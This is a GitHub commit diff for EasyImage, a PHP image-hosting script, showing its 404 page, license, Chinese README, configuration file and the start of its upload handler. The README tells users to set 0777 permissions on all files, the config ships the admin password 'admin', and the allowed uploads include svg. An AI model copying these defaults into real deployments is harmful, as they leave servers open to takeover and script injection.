Add files via upload

增加支持 php7.4
pull/18/head
icret 2021-03-23 20:58:16 +08:00 committed by GitHub
parent 6039795414
commit 364e2ba16c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
30 changed files with 7517 additions and 7441 deletions

29
404.html Normal file
View File

@ -0,0 +1,29 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>404</title>
<style>
body{
background-color:#444;
font-size:14px;
}
h3{
font-size:60px;
color:#eee;
text-align:center;
padding-top:30px;
font-weight:normal;
}
</style>
</head>
<body>
<h3>404您请求的文件不存在!</h3>
<script>
setTimeout("javascript:location.href='https://img.545141.com/?i1'", 1000);
</script>
</body>
</html>

BIN
404.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

328
LICENSE
View File

@ -1,165 +1,165 @@
GNU LESSER GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.
0. Additional Definitions.
As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.
"The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.
An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.
A "Combined Work" is a work produced by combining or linking an
Application with the Library. The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".
The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.
The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.
1. Exception to Section 3 of the GNU GPL.
You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.
2. Conveying Modified Versions.
If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:
a) under this License, provided that you make a good faith effort to
ensure that, in the event an Application does not supply the
function or data, the facility still operates, and performs
whatever part of its purpose remains meaningful, or
b) under the GNU GPL, with none of the additional permissions of
this License applicable to that copy.
3. Object Code Incorporating Material from Library Header Files.
The object code form of an Application may incorporate material from
a header file that is part of the Library. You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:
a) Give prominent notice with each copy of the object code that the
Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the object code with a copy of the GNU GPL and this license
document.
4. Combined Works.
You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:
a) Give prominent notice with each copy of the Combined Work that
the Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the Combined Work with a copy of the GNU GPL and this license
document.
c) For a Combined Work that displays copyright notices during
execution, include the copyright notice for the Library among
these notices, as well as a reference directing the user to the
copies of the GNU GPL and this license document.
d) Do one of the following:
0) Convey the Minimal Corresponding Source under the terms of this
License, and the Corresponding Application Code in a form
suitable for, and under terms that permit, the user to
recombine or relink the Application with a modified version of
the Linked Version to produce a modified Combined Work, in the
manner specified by section 6 of the GNU GPL for conveying
Corresponding Source.
1) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (a) uses at run time
a copy of the Library already present on the user's computer
system, and (b) will operate properly with a modified version
of the Library that is interface-compatible with the Linked
Version.
e) Provide Installation Information, but only if you would otherwise
be required to provide such information under section 6 of the
GNU GPL, and only to the extent that such information is
necessary to install and execute a modified version of the
Combined Work produced by recombining or relinking the
Application with a modified version of the Linked Version. (If
you use option 4d0, the Installation Information must accompany
the Minimal Corresponding Source and Corresponding Application
Code. If you use option 4d1, you must provide the Installation
Information in the manner specified by section 6 of the GNU GPL
for conveying Corresponding Source.)
5. Combined Libraries.
You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:
a) Accompany the combined library with a copy of the same work based
on the Library, uncombined with any other library facilities,
conveyed under the terms of this License.
b) Give prominent notice with the combined library that part of it
is a work based on the Library, and explaining where to find the
accompanying uncombined form of the same work.
6. Revised Versions of the GNU Lesser General Public License.
The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.
If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
GNU LESSER GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.
0. Additional Definitions.
As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.
"The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.
An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.
A "Combined Work" is a work produced by combining or linking an
Application with the Library. The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".
The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.
The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.
1. Exception to Section 3 of the GNU GPL.
You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.
2. Conveying Modified Versions.
If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:
a) under this License, provided that you make a good faith effort to
ensure that, in the event an Application does not supply the
function or data, the facility still operates, and performs
whatever part of its purpose remains meaningful, or
b) under the GNU GPL, with none of the additional permissions of
this License applicable to that copy.
3. Object Code Incorporating Material from Library Header Files.
The object code form of an Application may incorporate material from
a header file that is part of the Library. You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:
a) Give prominent notice with each copy of the object code that the
Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the object code with a copy of the GNU GPL and this license
document.
4. Combined Works.
You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:
a) Give prominent notice with each copy of the Combined Work that
the Library is used in it and that the Library and its use are
covered by this License.
b) Accompany the Combined Work with a copy of the GNU GPL and this license
document.
c) For a Combined Work that displays copyright notices during
execution, include the copyright notice for the Library among
these notices, as well as a reference directing the user to the
copies of the GNU GPL and this license document.
d) Do one of the following:
0) Convey the Minimal Corresponding Source under the terms of this
License, and the Corresponding Application Code in a form
suitable for, and under terms that permit, the user to
recombine or relink the Application with a modified version of
the Linked Version to produce a modified Combined Work, in the
manner specified by section 6 of the GNU GPL for conveying
Corresponding Source.
1) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (a) uses at run time
a copy of the Library already present on the user's computer
system, and (b) will operate properly with a modified version
of the Library that is interface-compatible with the Linked
Version.
e) Provide Installation Information, but only if you would otherwise
be required to provide such information under section 6 of the
GNU GPL, and only to the extent that such information is
necessary to install and execute a modified version of the
Combined Work produced by recombining or relinking the
Application with a modified version of the Linked Version. (If
you use option 4d0, the Installation Information must accompany
the Minimal Corresponding Source and Corresponding Application
Code. If you use option 4d1, you must provide the Installation
Information in the manner specified by section 6 of the GNU GPL
for conveying Corresponding Source.)
5. Combined Libraries.
You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:
a) Accompany the combined library with a copy of the same work based
on the Library, uncombined with any other library facilities,
conveyed under the terms of this License.
b) Give prominent notice with the combined library that part of it
is a work based on the Library, and explaining where to find the
accompanying uncombined form of the same work.
6. Revised Versions of the GNU Lesser General Public License.
The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.
If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.

347
README.md
View File

@ -1,174 +1,175 @@
![简单图床示例](https://i1.100024.xyz/public/data/2019/05/5ce6915f50a1a.png
"简单图床示例")
![简单图床示例](https://i1.100024.xyz/public/data/2019/05/5cecf12575f6e.png
"简单图床示例")
## EasyImage 简单图床
> 支持多文件上传,api上传,简单无数据库,返回图片url,markdown,bbscode,html的一款图床程序
演示地址: [https://img.545141.com](https://img.545141.com"https://img.545141.com")
之前一直用的图床程序是:[PHP多图长传程序2.4.3](http://www.mycodes.net/48/4925.htm "PHP多图长传程序2.4.3")
由于版本过老并且使用falsh上传在当前html5流行大势所趋下遂利用基础知识新写了一个以html5为默认上传并且支持flash,向下兼容至IE9。
<hr />
#### 功能支持:
- [x] 支持仅登录后上传
- [x] 支持设置图片质量
- [x] 支持上传图片转换为指定格式
- [x] 支持设置图片指定宽/高
- [x] 支持限制最低宽度/高度上传
- [x] 支持静态文件CDN/本地切换
- [x] 支持设置广告
- [x] 支持开启/关闭api上传
- [x] 在线管理图片(增、删、改、查)
- [x] 支持网站统计 请将统计代码放入:public/static/hm.js
#### 一年未更新了这次带来了全新版本2.0
- 在继承上个版本1.6.4)的基础上进行了全新优化
- 修复上传经常失败的问题
- 删除一些不常用但会增加功耗的过程 (删除的在下边会有标记)
- 全新的压缩 将文件继续缩小
- 全新的目录系统,精简代码
- 设置仅允许在config.php修改注释更加明了即使没有代码基础也可以操作
- 增加新的文件管理系统
#### 注意:
1. 安装之前先使用浏览器访问check.php检查扩展是否都安装
2. 使用前请注意先修改config.php中的domain域名。
3. 请将所有文件必须赋予0777权限执行用户设置www权限
4. 安装正常后请修改登录管理密码!
5. 如果无法登陆管理界面或上传图片请先打开check.php检查扩展或者使用phpinfo检查。
6. 可以使用浏览器的 F12调试模式->console查看错误
7. 如果对php不太熟悉的话不要将图床程序放置于二级目录
8. js不要设置分片上传大小此会导致部分图片上传失败。
9. 默认我会给你设置成最优方案api上传默认关闭
10. 下载源码后可以删除一些文件README.md,check.php,LICENSE
11. 欢迎加群:[623688684](https://shang.qq.com/wpa/qunwpa?idkey=3feb4e8be8f1839f71e53bf2e876de36afc6889b2630c33c877d8df5a5583a6f)
#### api上传示例
参数:
| 参数名称 | 类型 | 是否必须 | 说明 |
| :------------: | :------------: | :------------: | :------------: |
| file | file | 是 | 表单名称 |
html form上传示例:
```html
<form enctype="multipart/form-data" method="POST" action="https://img.545141.com/file.php">
<label>选择文件</label>
<input type="file" name="file">
<input type="submit" value="提交">
</form>
```
api上传成功后返回json
```json
{"result":"success","url":"https:\/\/img.545141.com\/public\/data\/2019\/05\/5ce64172d24fa.png"}
```
如果关闭api上传则什么都不显示。
#### 更新日志
* 2019-6-26 v2.0.2.0
- 精简压缩代码,使得不再压缩后反而变大
- 删除异域上传功能,不再支持异域上传
- 修复开启登录后无法粘贴密码
- 后台控制上传数量,上传格式
- 其他一些优化
* 2019-6-14 v2.0.1.9
- 增加复制链接按钮
- 增加暂停上传按钮
- 增加QQ截图剪切板上传
- 增加文字/图片水印透明度
- 恢复开启/关闭api上传
- 恢复支持水印文字颜色
- 恢复支持远程上传图片
- 修复安装时候的权限
- 修复管理无法多选的问题
- 修复上传透明png背景变为纯黑的问题
- 修复成功上传图片但前端无法获取链接
- 修复在centos64 lnmp1.6 php7.1环境下的图片信息读取问题
- 修改图片压缩方式速度更快相比之前提高5倍以上
- 更改管理路径
- 更改上传路径,文件名更短
- 更改上传显示方式为缩略图
- 关闭添加图片后自动上传
- 纪念一下2019年将版本号改为2.0.1.9
* 2019-5-23 v2.0
- 在继承上个版本1.6.4)的基础上进行了全新优化
- 修复上传经常失败的问题
- 删除一些不常用但会增加功耗的过程
- 全新的压缩 将文件继续缩小
- 全新的目录系统,精简代码
- 设置仅允许在config.php修改注释更加明了即使没有代码基础也可以操作
- 增加新的文件管理系统,感谢 tinyfilemanager
- ~~支持文字/图片水印 可自定义文字颜色~~
- ~~支持文字水印背景颜色~~
- ~~支持文字水印透明度~~
- ~~支持删除远程上传文件~~ -> 不再支持删除远程文件
- ~~(支持开启/关闭api自定义文字水印)~~
- ~~支持删除自定义删除图片(仅管理员)~~
<hr />
* 2018-8-17 v1.6.4
- 支持删除远程上传文件
- 更改字体
- 添加api/远程上传 标识
* 2018-8-16 v1.6.3
- 支持开启/关闭api上传(支持开启/关闭api自定义文字水印)
- 修复权限错误
- 修复二级目录引入错误
* 2018-8-8 v1.5.3
- 添加上传图片至远程主机
- 修复逻辑
* 2018-8-6 v1.4.3
- 添加网站统计
- 添加删除上传文件
- 调整config.php
* 2018-8-5 v1.4.2
- 添加仅登录后上传
- 修复一处逻辑错误
- 修复一个漏洞
* 2018-8-4 v1.3.2
- 添加广告设置
- 完善引入机制
* 2018-8-3 v1.2.2
- [重要]修复水印图片不能添加
- 添加随机浏览上传图片 可以设定浏览数量和关闭浏览
- 优化代码,删除无用文件
- 完善一键CDN静态文件
* 2018-08-02 v1.1.2
- [重要] 修复gif上传添加水印成静态的问题
- 修复文字水印背景色不显示问题
- 修复在linux下的权限错误
- 一些优化更改
* 2018-08-01 v1.0.1
- 更改相关文件目录
- 优化代码
* 2018-07-30 v1.0.0
- 最初模型
#### 兼容性
文件上传视图不支持IE9以下的浏览器,api不限制。建议php5.6及以上版本,需要服务器支持Fileinfo, iconv ,zip和mbstring扩展,如果缺失会导致无法访问管理面板以及上传图片。
文件上传视图提供文件列表管理和文件批量上传功能,允许拖拽(需要 HTML5 支持)来添加上传文件,支持上传大图片,优先使用 HTML5旧的浏览器自动使用Flash和Silverlight的方式兼容。
<hr />
- 感谢: [verot](https://www.verot.net "verot" )提供非常好用的class.upload.php上传类
- 感谢: [ZUI](http://zui.sexy/ "ZUI" ) 提供css框架
- 感谢:[tinyfilemanager](https://github.com/prasathmani/tinyfilemanager "tinyfilemanager" ) 提供的文件管理
![简单图床示例](https://i1.100024.xyz/public/data/2019/05/5ce6915f50a1a.png
"简单图床示例")
![简单图床示例](https://i1.100024.xyz/public/data/2019/05/5cecf12575f6e.png
"简单图床示例")
## EasyImage 简单图床
> 支持多文件上传,api上传,简单无数据库,返回图片url,markdown,bbscode,html的一款图床程序
演示地址: [https://img.545141.com](https://img.545141.com"https://img.545141.com")
之前一直用的图床程序是:[PHP多图长传程序2.4.3](http://www.mycodes.net/48/4925.htm "PHP多图长传程序2.4.3")
由于版本过老并且使用falsh上传在当前html5流行大势所趋下遂利用基础知识新写了一个以html5为默认上传并且支持flash,向下兼容至IE9。
<hr />
#### 功能支持:
- [x] 支持仅登录后上传
- [x] 支持设置图片质量
- [x] 支持上传图片转换为指定格式
- [x] 支持文字/图片水印 颜色透明度
- [x] 支持设置图片指定宽/高
- [x] 支持限制最低宽度/高度上传
- [x] 支持静态文件CDN/本地切换
- [x] 支持设置广告
- [x] 支持开启/关闭api上传
- [x] 在线管理图片(增、删、改、查)
- [x] 支持网站统计 请将统计代码放入:public/static/hm.js
#### 一年未更新了这次带来了全新版本2.0
- 在继承上个版本1.6.4)的基础上进行了全新优化
- 修复上传经常失败的问题
- 删除一些不常用但会增加功耗的过程 (删除的在下边会有标记)
- 全新的压缩 将文件继续缩小
- 全新的目录系统,精简代码
- 设置仅允许在config.php修改注释更加明了即使没有代码基础也可以操作
- 增加新的文件管理系统
#### 注意:
1. 安装之前先使用浏览器访问check.php检查扩展是否都安装
2. 使用前请注意先修改config.php中的domain域名。
3. 请将所有文件必须赋予0777权限执行用户设置www权限
4. 安装正常后请修改登录管理密码!
5. 如果无法登陆管理界面或上传图片请先打开check.php检查扩展或者使用phpinfo检查。
6. 可以使用浏览器的 F12调试模式->console查看错误
7. 如果对php不太熟悉的话不要将图床程序放置于二级目录
8. js不要设置分片上传大小此会导致部分图片上传失败。
9. 默认我会给你设置成最优方案api上传默认关闭
10. 下载源码后可以删除一些文件README.md,check.php,LICENSE
11. 欢迎加群:[623688684](https://shang.qq.com/wpa/qunwpa?idkey=3feb4e8be8f1839f71e53bf2e876de36afc6889b2630c33c877d8df5a5583a6f)
#### api上传示例
参数:
| 参数名称 | 类型 | 是否必须 | 说明 |
| :------------: | :------------: | :------------: | :------------: |
| file | file | 是 | 表单名称 |
html form上传示例:
```html
<form enctype="multipart/form-data" method="POST" action="https://img.545141.com/file.php">
<label>选择文件</label>
<input type="file" name="file">
<input type="submit" value="提交">
</form>
```
api上传成功后返回json
```json
{"result":"success","url":"https:\/\/img.545141.com\/public\/data\/2019\/05\/5ce64172d24fa.png"}
```
如果关闭api上传则什么都不显示。
#### 更新日志
* 2019-6-26 v2.0.2.0
- 精简压缩代码,使得不再压缩后反而变大
- 删除异域上传功能,不再支持异域上传
- 修复开启登录后无法粘贴密码
- 后台控制上传数量,上传格式
- 其他一些优化
* 2019-6-14 v2.0.1.9
- 增加复制链接按钮
- 增加暂停上传按钮
- 增加QQ截图剪切板上传
- 增加文字/图片水印透明度
- 恢复开启/关闭api上传
- 恢复支持水印文字颜色
- 恢复支持远程上传图片
- 修复安装时候的权限
- 修复管理无法多选的问题
- 修复上传透明png背景变为纯黑的问题
- 修复成功上传图片但前端无法获取链接
- 修复在centos64 lnmp1.6 php7.1环境下的图片信息读取问题
- 修改图片压缩方式速度更快相比之前提高5倍以上
- 更改管理路径
- 更改上传路径,文件名更短
- 更改上传显示方式为缩略图
- 关闭添加图片后自动上传
- 纪念一下2019年将版本号改为2.0.1.9
* 2019-5-23 v2.0
- 在继承上个版本1.6.4)的基础上进行了全新优化
- 修复上传经常失败的问题
- 删除一些不常用但会增加功耗的过程
- 全新的压缩 将文件继续缩小
- 全新的目录系统,精简代码
- 设置仅允许在config.php修改注释更加明了即使没有代码基础也可以操作
- 增加新的文件管理系统,感谢 tinyfilemanager
- ~~支持文字/图片水印 可自定义文字颜色~~
- ~~支持文字水印背景颜色~~
- ~~支持文字水印透明度~~
- ~~支持删除远程上传文件~~ -> 不再支持删除远程文件
- ~~(支持开启/关闭api自定义文字水印)~~
- ~~支持删除自定义删除图片(仅管理员)~~
<hr />
* 2018-8-17 v1.6.4
- 支持删除远程上传文件
- 更改字体
- 添加api/远程上传 标识
* 2018-8-16 v1.6.3
- 支持开启/关闭api上传(支持开启/关闭api自定义文字水印)
- 修复权限错误
- 修复二级目录引入错误
* 2018-8-8 v1.5.3
- 添加上传图片至远程主机
- 修复逻辑
* 2018-8-6 v1.4.3
- 添加网站统计
- 添加删除上传文件
- 调整config.php
* 2018-8-5 v1.4.2
- 添加仅登录后上传
- 修复一处逻辑错误
- 修复一个漏洞
* 2018-8-4 v1.3.2
- 添加广告设置
- 完善引入机制
* 2018-8-3 v1.2.2
- [重要]修复水印图片不能添加
- 添加随机浏览上传图片 可以设定浏览数量和关闭浏览
- 优化代码,删除无用文件
- 完善一键CDN静态文件
* 2018-08-02 v1.1.2
- [重要] 修复gif上传添加水印成静态的问题
- 修复文字水印背景色不显示问题
- 修复在linux下的权限错误
- 一些优化更改
* 2018-08-01 v1.0.1
- 更改相关文件目录
- 优化代码
* 2018-07-30 v1.0.0
- 最初模型
#### 兼容性
文件上传视图不支持IE9以下的浏览器,api不限制。建议php5.6及以上版本,需要服务器支持Fileinfo, iconv ,zip和mbstring扩展,如果缺失会导致无法访问管理面板以及上传图片。
文件上传视图提供文件列表管理和文件批量上传功能,允许拖拽(需要 HTML5 支持)来添加上传文件,支持上传大图片,优先使用 HTML5旧的浏览器自动使用Flash和Silverlight的方式兼容。
<hr />
- 感谢: [verot](https://www.verot.net "verot" )提供非常好用的class.upload.php上传类
- 感谢: [ZUI](http://zui.sexy/ "ZUI" ) 提供css框架
- 感谢:[tinyfilemanager](https://github.com/prasathmani/tinyfilemanager "tinyfilemanager" ) 提供的文件管理
- 本源码遵循 GNU Public License

View File

@ -1,94 +1,94 @@
<?php
/**
* EasyImage - 简单图床配置
*
* @author icret
* @email lemonim@qq.com
* @Github https://github.com/icret/EasyImages2.0
* @link https://www.545141.com/902.html
* @Review 2019-5-21 13:05:20
* @last 2019-6-29 09:02:19
* 上传后请打开check.php先检查服务器配置更改密码更改域名等操作
*/
// 设置html为utf8
header('Content-Type:text/html;charset=utf-8');
//将时区设置为上海时区
ini_set('date.timezone', 'Asia/Shanghai');
// 修改内存限制 根据服务器配置选择低于128M容易出现上传失败你懂得图片挺占用内存的
ini_set('memory_limit', '512M');
// 定义当前目录
define('APP_ROOT', __DIR__);
/******** 网站配置 ********/
$config = array(
// 网站标题
'title' => '简单图床 - EasyImage',
// 网站关键字
'keywords' => '简单图床,easyimage,无数据库图床,PHP多图长传程序,自适应页面,HTML5,markdown,bbscode,一键复制',
// 网站描述
'description' => '简单图床EasyImage是一款支持多文件上传的无数据库图床,可以完美替代PHP多图上传程序最新html5自适应页面兼容手机电脑上传后返回图片直链markdown图片论坛贴图bbscode链接简单方便支持一键复制支持多域名api上传。',
// 网站公告
'tips' => ' 单个文件限制5M每次最多上传30张图片,本网站仅做演示用,不对图片负任何责任。',
// 图片直链域名 末尾不加"/" 如果你想上传域名是a.com但是我想上传之后返回域名是b.com 那就在这里填写b.com
'domain' => 'https://img.545141.com',
// 存储路径 前后要加"/" 如更改此目录需要同步修改tinyfilemanager.php中的$directories_users路径
'path' => '/i/',
// 最大上传限制 默认为 5242880Bytes = 5MB 请使用工具转换MB http://www.bejson.com/convert/filesize/
'maxSize' => 5242880,
// 每次最多上传图片数
'maxUploadFiles'=>30,
// 是否开启登录上传 开启:true 关闭false
'mustLogin' => false,
// 是否开启管理
'tinyfilemanager' => true,
// 登录上传密码和管理密码 管理的管理员账号admin 密码为下面密码
'password' => 'admin',
// 是否开启API上传
'apiStatus' => false,
// 是否开启水印:0关闭1文字水印2图片水印 动态gif不能添加水印
'watermark' => 0,
// 水印文字内容
'waterText' => '简单图床 img.545141.com',
/**
* 水印位置
* 0随机位置在1~8之间随机选取一个位置
* 1:顶部居左 2:顶部居中 3:顶部居右 4:左边居中
* 5:图片中心 6:右边居中 7:底部居左 8:底部居中 9:底部居右
*/
'waterPosition' => 8,
// 水印文字颜色 rgba 末尾为透明度 范围:0-127 0为不透明
'textColor' => '47,79,79,0',
// 水印文字大小
'textSize' => 16,
// 字体路径 如果想改变字体 请选择支持中文的gb2312字体 否则中文水印会乱码 纯英文水印字体随便
'textFont' => APP_ROOT . '/public/static/hkxzy.ttf',
// 图片水印路径 支持GIF,JPG,BMP,PNG和PNG alpha
'waterImg' => 'public/static/watermark.png',
// 允许上传的图片扩展名
'extensions'=>array('bmp','jpg','png','tif','gif','pcx','tga','svg','webp','jpeg','tga','svg','ico'),
// 转换图片为指定格式 可选:''|'png'|'jpeg'|'gif'|'bmp';默认值:''
'imgConvert' => '',
//最大宽度
'maxWidth' => 10240,
// 最大高度
'maxHeight' => 10240,
// 允许上传的最小宽度
'minWidth' => 5,
// 允许上传的最小高度
'minHeight' => 5,
// 等比例缩小图片 宽度和高度请设置 image_x image_y 开启true关闭false 关闭下mage_x和image_y设置不生效
'imgRatio' => false,
// 缩减的最大高度
'image_x' => 1024,
// 缩减的最大宽度
'image_y' => 1024,
// 开启静态文件js css CDN 开启true 关闭false
'static_cdn' => false,
// 开启顶部广告 如果想添加或修改广告修改 public/static/ad_top.html
'ad_top' => false,
// 开启底部广告 如果想添加或修改广告修改 public/static/ad_bot.html
'ad_bot' => false,
'version' => '2.0.2.0',
);
<?php
/**
* EasyImage - 简单图床配置
*
* @author icret
* @email lemonim@qq.com
* @Github https://github.com/icret/EasyImages2.0
* @link https://www.545141.com/902.html
* @Review 2019-5-21 13:05:20
* @last 2019-6-29 09:02:19
* 上传后请打开check.php先检查服务器配置更改密码更改域名等操作
*/
// 设置html为utf8
header('Content-Type:text/html;charset=utf-8');
//将时区设置为上海时区
ini_set('date.timezone', 'Asia/Shanghai');
// 修改内存限制 根据服务器配置选择低于128M容易出现上传失败你懂得图片挺占用内存的
ini_set('memory_limit', '512M');
// 定义当前目录
define('APP_ROOT', __DIR__);
/******** 网站配置 ********/
$config = array(
// 网站标题
'title' => '简单图床 - EasyImage',
// 网站关键字
'keywords' => '简单图床,easyimage,无数据库图床,PHP多图长传程序,自适应页面,HTML5,markdown,bbscode,一键复制',
// 网站描述
'description' => '简单图床EasyImage是一款支持多文件上传的无数据库图床,可以完美替代PHP多图上传程序最新html5自适应页面兼容手机电脑上传后返回图片直链markdown图片论坛贴图bbscode链接简单方便支持一键复制支持多域名api上传。',
// 网站公告
'tips' => ' 单个文件限制5M每次最多上传30张图片,本网站仅做演示用,不对图片负任何责任。',
// 图片直链域名 末尾不加"/" 如果你想上传域名是a.com但是我想上传之后返回域名是b.com 那就在这里填写b.com
'domain' => 'https://img.545141.com',
// 存储路径 前后要加"/" 如更改此目录需要同步修改tinyfilemanager.php中的$directories_users路径
'path' => '/i/',
// 最大上传限制 默认为 5242880Bytes = 5MB 请使用工具转换MB http://www.bejson.com/convert/filesize/
'maxSize' => 5242880,
// 每次最多上传图片数
'maxUploadFiles'=>30,
// 是否开启登录上传 开启:true 关闭false
'mustLogin' => false,
// 是否开启管理
'tinyfilemanager' => true,
// 登录上传密码和管理密码 管理的管理员账号admin 密码为下面密码
'password' => 'admin',
// 是否开启API上传
'apiStatus' => false,
// 是否开启水印:0关闭1文字水印2图片水印 动态gif不能添加水印
'watermark' => 0,
// 水印文字内容
'waterText' => '简单图床 img.545141.com',
/**
* 水印位置
* 0随机位置在1~8之间随机选取一个位置
* 1:顶部居左 2:顶部居中 3:顶部居右 4:左边居中
* 5:图片中心 6:右边居中 7:底部居左 8:底部居中 9:底部居右
*/
'waterPosition' => 8,
// 水印文字颜色 rgba 末尾为透明度 范围:0-127 0为不透明
'textColor' => '47,79,79,0',
// 水印文字大小
'textSize' => 16,
// 字体路径 如果想改变字体 请选择支持中文的gb2312字体 否则中文水印会乱码 纯英文水印字体随便
'textFont' => APP_ROOT . '/public/static/hkxzy.ttf',
// 图片水印路径 支持GIF,JPG,BMP,PNG和PNG alpha
'waterImg' => 'public/static/watermark.png',
// 允许上传的图片扩展名
'extensions'=>array('bmp','jpg','png','tif','gif','pcx','tga','svg','webp','jpeg','tga','svg','ico'),
// 转换图片为指定格式 可选:''|'png'|'jpeg'|'gif'|'bmp';默认值:''
'imgConvert' => '',
//最大宽度
'maxWidth' => 10240,
// 最大高度
'maxHeight' => 10240,
// 允许上传的最小宽度
'minWidth' => 5,
// 允许上传的最小高度
'minHeight' => 5,
// 等比例缩小图片 宽度和高度请设置 image_x image_y 开启true关闭false 关闭下mage_x和image_y设置不生效
'imgRatio' => false,
// 缩减的最大高度
'image_x' => 1024,
// 缩减的最大宽度
'image_y' => 1024,
// 开启静态文件js css CDN 开启true 关闭false
'static_cdn' => false,
// 开启顶部广告 如果想添加或修改广告修改 public/static/ad_top.html
'ad_top' => false,
// 开启底部广告 如果想添加或修改广告修改 public/static/ad_bot.html
'ad_bot' => false,
'version' => '2.0.2.0',
);

BIN
favicon.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

184
file.php
View File

@ -1,93 +1,93 @@
<?php
require __DIR__ . '/libs/function.php';
require APP_ROOT . '/libs/class.upload.php';
require APP_ROOT . '/libs/WaterMask.php';
// 检查是否开启api上传
if ($config['apiStatus']) {header('Access-Control-Allow-Origin:*');}
$handle = new upload($_FILES['file'], 'zh_CN');
if ($handle->uploaded) {
// 允许上传的mime类型
$handle->allowed = array('image/*');
// 文件命名
$handle->file_new_name_body = imgName();
// 最大上传限制
$handle->file_max_sizes = $config['maxSize'];
// 最大宽度
$handle->image_max_width = $config['maxWidth'];
// 最大高度
$handle->image_max_height = $config['maxHeight'];
// 最小宽度
$handle->image_min_width = $config['minWidth'];
// 最小高度
$handle->image_min_height = $config['minHeight'];
// 转换图片为指定格式
$handle->image_convert = $config['imgConvert'];
//等比例缩减图片
if ($config['imgRatio']) {
$handle->image_x = $config['image_x'];
}
// 存储图片路径:images/201807/
$handle->process(APP_ROOT . config_path());
